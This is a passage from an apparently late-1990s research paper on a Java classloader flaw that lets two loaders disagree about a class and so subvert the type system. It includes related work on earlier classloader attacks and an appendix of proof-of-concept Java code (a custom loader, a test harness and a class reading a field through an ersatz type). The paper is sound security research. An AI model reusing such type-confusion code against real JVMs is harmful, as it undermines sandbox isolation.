A consequence of this fix is that the responsibility for avoiding link-time type-errors now falls on the
class-loaders. If they are to share a type (e.g. RR), then they must arrange to share all types referenced in
that type (e.g., R), otherwise link-time errors will be generated. Crucially, the JVM will not crash ---
only link-time errors will be generated, which, in some sense, is the best that can be expected. It is not
too difficult to devise "type-publication" schemes (as we have done for Matrix by which class-loaders
can cooperate (by dynamically sharing appropriate parts of their name spaces) so that link-time
type-errors can also be avoided. More details will be developed in a fuller version of this paper. 

A final remark. If this solution were to be taken to be the one that Java designers had in mind, it is rather
surprising that there is such a big gap between the type-expressiveness of Java and what is possible with
classloaders. In essence, the notion of classloaders has not been reified in the type-structure of the
language --- it remains strictly under the hood. The only programs that can be written in Java (the
language as it now stands) are those that are "uniformly parametric" over classloaders (that is they work
the same way in all classloaders), and that cannot statically refer to types other than in the current
classloader. I do not view either of these conditions as necessary for what I take to be a real technical
contribution of Java designers, namely, link-time type-checking. For instance it should be possible to
define link-time type-checkable schemes which allow a class to impose certain constraints on "foreign
types", e.g. requiring that they be mutually consistent (i.e., come from the same classloader). This view
of a classloader as imposing a certain consistency condition on type-resolution needs to be developed
more fully. 

Section 4. Conclusion 

Java is a big, paradigm-forming leap forward for the C/C++ family of languages. It is clean enough that
formal analyses of the language (and its type system) can be contemplated, and rich and powerful
enough that large (distributed) systems development can be supported. Even more importantly, its
elegance makes it a pleasure to program in.

Nevertheless, it is a new language being developed with breakneck speed, sometimes in areas which are
not yet clearly understood by researchers. A rigorous, perhaps even formal, analysis of the language,
focusing on its security properties seems urgently called for. Otherwise we will continue to have the
spectre of subtle, but potentially fatal, design flaws hovering over our heads.

Related work. Some brief comments about related work. Recently there has been much interest in
security for Java. Javasoft’s security FAQ contains information their status on security-related bugs they
know of currently. The Kimera project has developed their own bytecode verifier and is using some
weak methods to probe for flaws in Javasoft’s bytecode verifier. In addition, they are working on a
security architecture for Java. The Secure Internet Programming group at Princeton has explored a
variety of security-related issues. The Java Security: Hostile Applets, Holes, and antidotes contains a
very readable account of recent work on security bugs in Java. 

Classloaders have come under some scrutiny recently. The so-called Princeton class-loader attack
involves a hostile class-loader that responds with different class objects to queries for the same name.
This has been neutralized by keeping the table mapping names to classes internal to the JVM --- the



JVM now guarantees that it will call a loader at most once for any given name. The Hopwood tag-team
applet attack is described above (building an indirect bridge). The attack apparently used to work
because classcasting of exceptions and interfaces was not implemented correctly in earlier versions of
Java. The technique for subverting the type system described above is more insidious in that it does not
rely on any classcasting. 

After I circulated this note, some earlier related work was brought to my attention. Drew Dean remarked
that he had made this realization in January 97, after someone posted a program on a news group, which
implied this problem. He has since developed some ideas for fixing this problem. 

In his ECOOP ’96 tutorial, Martin Odersky noted that multiple classes with the same name can be
loaded at once in different classloaders and are treated as "the same type". This is not strictly true, since
as we have seen above, different instructions behave differently, some (such as checkcast) are sensitive
to (typename, loader) information, and some only to typename information. He also noted that private
variables can be accessed by declaring them public in a clone class. Indeed, there seems to be a "related"
bug in JDK in which public access (from classes loaded from the null classloader) to private methods is
not checked by the Javasoft verifier. (This privacy violation was also pointed out to me by Nevin
Heintze.) 
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Appendix: Code listing

Place in the current directory the (.class) files for: Test, (the real) R, RR, DelegatingLoader,
LocalClassLoader. Make sure the current directory is on CLASSPATH. 

Place in ./ersatz the (.class) files for: (ersatz) R, RT, RT2, RT3. 

// LocalClassLoader.java
import java.lang.*;
import java.util.*;

import java.lang.reflect.*;
import java.io.*;

/** Defines a Class Loader that knows how to read a class 
 *  from the local file system.
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 */

public abstract class LocalClassLoader extends java.lang.ClassLoader {
  private String directory; 
  public LocalClassLoader (String dir) {
   directory = dir;
  }

  protected Class loadClassFromFile(String name, boolean resolve) 
       throws    ClassNotFoundException, FileNotFoundException {
    File target = new File(directory + name.replace(’.’, ’/’) + ".class");
    if (! target.exists()) throw new java.io.FileNotFoundException();
    long bytecount = target.length();
    byte [] buffer = new byte[(int) bytecount];
    try {
      FileInputStream f = new FileInputStream(target);
      int readCount = f.read(buffer);
      f.close();
      Class c = defineClass(name, buffer, 0, (int) bytecount);
      if (resolve) resolveClass(c);
      System.out.println("[Loaded " + name + " from " + target + " ("+ bytecount + " bytes)]");
      return c;
    }
    catch (java.lang.Exception e) {
      System.out.println("Aborting read: " + e.toString() + " in LocalClassLoader.");
      throw new ClassNotFoundException();
    };
  }
}

// Test
import java.lang.reflect.*;

/** Test harness for classloader examples. Loads the user class into
 * a newly constructed DelegatingLoader. 
 */
public class Test {
  DelegatingLoader loader;

  public void doIt(String argv[]) {
    try {
      if (argv.length < 1) {
        System.out.println("Usage: java Test ");
        return;
      }
      String target = argv[0];
      this.loader = new DelegatingLoader("ersatz/");
      Class c = this.loader.loadClass(target, true);
      Object [] arg = {};
      Class [] argClass = {};
      c.getMethod("main", argClass).invoke(null, arg);
    } catch (Exception e) {
    System.out.println("Error " + e.toString() + " in Test.doIt.");
    }
  }
  public static void main(String argv[]) {
    Test t = new Test();
    t.doIt(argv);
  }
}



// RT3
public class RT3 {
  public  static void main() {
    try {
      System.out.println("Hello...");
      System.out.println("Going to attempt to read a field that exists in the ersatz class but not the real class...");
      RR rr = new RR();
      R r  = rr.getR();
      System.out.println("  r.s is " + r.s + ".");
      System.out.println("...bye.");
    } catch (Exception e) { 
      System.out.println("Exception " + e.toString() + " in RT3.main.");
    }
  }

}
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